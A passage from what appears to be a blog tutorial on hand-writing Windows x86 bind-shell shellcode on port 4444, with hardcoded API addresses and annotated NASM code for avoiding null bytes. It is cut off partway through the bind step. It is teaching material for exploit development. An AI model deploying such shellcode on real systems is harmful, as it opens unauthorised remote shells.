&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; arwin.exe ws2_32.dll &lt;span class=&quot;nb&quot;&gt;bind
&lt;/span&gt;arwin - win32 address resolution program - by steve hanna - v.01
&lt;span class=&quot;nb&quot;&gt;bind &lt;/span&gt;is located at 0x71ab4480 &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;ws2_32.dll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; arwin.exe ws2_32.dll listen
arwin - win32 address resolution program - by steve hanna - v.01
listen is located at 0x71ab8cd3 &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;ws2_32.dll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We also know that we are required to load this DLL, at least at this stage, and a Google search reveals the LoadLibraryA() system call: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya&lt;/a&gt;, which is found in kernel32.dll:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; arwin.exe kernel32.dll LoadLibraryA
arwin - win32 address resolution program - by steve hanna - v.01
LoadLibraryA is located at 0x7c801d7b &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;kernel32.dll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we continue this process, we have compiled a table of relevant system calls and their addresses:&lt;/p&gt;

&lt;div class=&quot;language-perl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;ws2_32&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;dll:&lt;/span&gt;       
  &lt;span class=&quot;nv&quot;&gt;closesocket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;71&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AB3E2B&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;                &lt;span class=&quot;mi&quot;&gt;71&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AC1040&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;listen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;                &lt;span class=&quot;mi&quot;&gt;71&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AB8CD3&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;                  &lt;span class=&quot;mi&quot;&gt;71&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AB4480&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;71&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AB4a07&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;WSASocketA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;            &lt;span class=&quot;mi&quot;&gt;71&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AB8B6A&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;WSAStartup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;            &lt;span class=&quot;mi&quot;&gt;71&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AB6a55&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;WSAGetLastError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;       &lt;span class=&quot;mi&quot;&gt;71&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AB3CCE&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;kernel32&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;dll:&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;LoadLibraryA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C801D7B&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;ExitProcess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;           &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C81CAFA&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;WaitForSingleObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C802530&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;CreateProcessA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;        &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C80236B&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;SetStdHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C81D363&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;msvcrt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;dll:&lt;/span&gt;       
  &lt;span class=&quot;nb&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;                &lt;span class=&quot;mi&quot;&gt;77&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C293C7&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;shellcoding-in-general&quot;&gt;Shellcoding in general&lt;/h1&gt;

&lt;p&gt;I won’t go in depths about shellcoding in general here, but when you write shellcode, you need to take certain precautions that you wouldn’t normally think about when writing traditional assembly code. For instance, hardcoding null bytes (0x00) will terminate strings and will most certain break the code. Also, you can’t store strings like you would normally. Instead you can use tricks, such as jmp-call-pop or pushing strings on the stack or to registers. I will explain where I do tricks to mitigate null bytes throughout the article.&lt;/p&gt;

&lt;h1 id=&quot;building-the-bindshell-port-4444&quot;&gt;Building the bindshell (port 4444)&lt;/h1&gt;

&lt;p&gt;To create the bindshell, we will call a series of system calls, which we will go through below, against the Windows API. In case you are not familiar with Windows system calls, the basic idea is to fill up the stack with arguments before calling the function at the given address, referenced in the table created earlier.&lt;/p&gt;

&lt;p&gt;We want our first version of the shellcode to work as a standalone executable to better understand if it’s working or not, before stripping away unnecessary parts. Also note that the size of the following shellcode can be reduced further, but I have purposely made it a little bigger for readability and flexibility. For example, pointers to strings are pushed on the stack instead of using the jmp-call-pop method to avoid jumps in the code.&lt;/p&gt;

&lt;h2 id=&quot;system-call-loadlibrarya&quot;&gt;System call: LoadLibraryA&lt;/h2&gt;

&lt;p&gt;Documentation: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Syntax:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;LoadLibraryA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_In_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;LPCTSTR&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;lpFileName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This system call loads a DLL file into the memory. It takes one argument, which is the name of the file.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; Clear eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x3233&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; Store string &quot;32&quot; in AX (explanation below)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; Push string &quot;32\0\0&quot; on stack&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5f327377&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; Push string &quot;ws2_&quot; on stack&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; Push addr of &quot;ws2_32\0\0&quot; on stack, which will be the lpFileName argument&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7c801d7b&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; Address to LoadLibraryA()&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A trick was used here to insert null bytes to terminate the “ws2_32” string, without actually writing a null byte.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov ax, 0x3233&lt;/code&gt; operation stores the string “32” in the lowest 16 bits of EAX (AX). The highest 16 bits are filled with 0x00 (due to the previous &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xor eax, eax&lt;/code&gt; operation). This will nicely terminate the string without us needing to hardcode a null byte in the code. If we would have done the following instead, which is more rational, it would have broken the shellcode:&lt;/p&gt;

&lt;p&gt;Assembly:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00003233&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; &quot;32\0\0&quot;&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5f327377&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; &quot;ws2_&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice the nulls in pure hex bytes:&lt;/p&gt;
&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;6833320000687773325F
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This LoadLibraryA() system call is very straight forward. The stack looks like the following before &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call eax&lt;/code&gt;, where a pointer to the filename string is on the top of the stack, as the first and only argument:&lt;/p&gt;

&lt;div class=&quot;language-perl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;   &lt;span class=&quot;nv&quot;&gt;Addr&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;Value&lt;/span&gt;
   &lt;span class=&quot;mo&quot;&gt;00000001&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;00000002&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-----------------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;00000002&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;00003233&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ASCII&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;    &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;  &lt;span class=&quot;mo&quot;&gt;00000003&lt;/span&gt;    &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;f327377&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ASCII&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ws2_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;    &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;                                       &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;-----------------------------------------&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;system-call-wsastartup&quot;&gt;System call: WSAStartup&lt;/h2&gt;

&lt;p&gt;Documentation: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup&lt;/a&gt;&lt;br /&gt;
Documentation: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-wsadata&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-wsadata&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Syntax:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;WSAStartup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;WORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;wVersionRequired&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;LPWSADATA&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;lpWSAData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The next system call we need to run is WSAStartup() to initialize the use of sockets. It takes two arguments, where the first is the version we are going to use and the second is a pointer to a place to store socket data.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFFFFFE70&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; Creating space for WSAData (400 bytes)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; Arg2 (lpWSAData) = pointer to WSAData space&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x101&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; Arg1 (wVersionRequired) = 1.1&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71ab6a55&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; Address to WSAStartup()&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first instruction is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add esp, 0xFFFFFE70&lt;/code&gt;, which is a way of creating space (400 bytes) on the stack without generating null bytes. The normal way of achieving this would be to subtract a value from ESP (remember the stack grows downwards). However, this results in null bytes:&lt;/p&gt;
&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nasm &amp;gt; sub esp, 0x190
00000000  81EC90010000      sub esp,0x190
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m not sure why this trick works, but by inverting the logic it solves our problem:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xFFFFFFFF - 0xFFFFFE70 = 0x18F = 399&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;system-call-wsasocketa&quot;&gt;System call: WSASocketA&lt;/h2&gt;

&lt;p&gt;Documnetation: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Syntax:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;WSASocketA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;af&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;LPWSAPROTOCOL_INFOA&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;lpProtocolInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;GROUP&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;dwFlags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we need to create a socket. This function takes a few parameters, like information about the socket type.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; Clear eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg6 (dwFlags) = 0&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg5 (g) = 0&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg4 (lpProtocolInfo) = 0&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg3 (protocol) = 0 = IPPROTO_TCP&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg2 (type) = 1 = SOCK_STREAM&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg1 (af) = 2 = AF_INET&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71AB8B6A&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; Address to WSASocketA()&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The pointer to the socket handler will be stored in eax, which we copy into ebx to reference later.&lt;/p&gt;

&lt;h2 id=&quot;system-call-bind&quot;&gt;System call: bind&lt;/h2&gt;

&lt;p&gt;Documentation: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind&lt;/a&gt;&lt;br /&gt;
Documnetation: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/winsock/sockaddr-2&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/winsock/sockaddr-2&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Syntax:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SOCKET&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;sockaddr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;namelen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next up we need to bind the socket. The first argument is the pointer to the socket handler, which we have stored in EBX. The second argument should be a pointer to these three values:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The port number, which in this case will be 4444 (0x5c11)&lt;/li&gt;
  &lt;li&gt;The address family. For IPv4 it should be set to AF_INET (0x0002)&lt;/li&gt;
  &lt;li&gt;The IP address it will listen on, which we will set to INADDR_ANY (0x0000) to make the socket listen on all interfaces.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These values will look like the following:&lt;/p&gt;
&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;5c110002
00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The third argument is the size of the second argument, which will be 16 bytes (0x10 in hex).&lt;/p&gt;

&lt;p&gt;Notice that there are null bytes in the value for AF_INET (0x0002). This can be solved by storing 0x5c110102 in EAX and doing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dec ah&lt;/code&gt;, which will only decrement the AH section of EAX by one.&lt;/p&gt;

&lt;p&gt;Explanation:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;eax = 0x5c110102&lt;/li&gt;
  &lt;li&gt;ax = 0x0102 (lowest 16 bits of eax)&lt;/li&gt;
  &lt;li&gt;al = 0x02 (lowest 8 bits of ax)&lt;/li&gt;
  &lt;li&gt;ah = 0x01 (highest 8 bits of ax)&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; Clear eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Push 0 on the stack to define INADDR_ANY.&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5c110102&lt;/span&gt; 
&lt;span class=&quot;nf&quot;&gt;dec&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ah&lt;/span&gt;               &lt;span class=&quot;c1&quot;&gt;; eax: 0x5c110102 -&amp;gt; 0x5c110002 (Mitigating null byte)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Push 0x5c110002 on stack&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; Since the 2nd arg is expected to be a pointer, we store the pointer to 0x5c110002 in eax&lt;/span&gt;
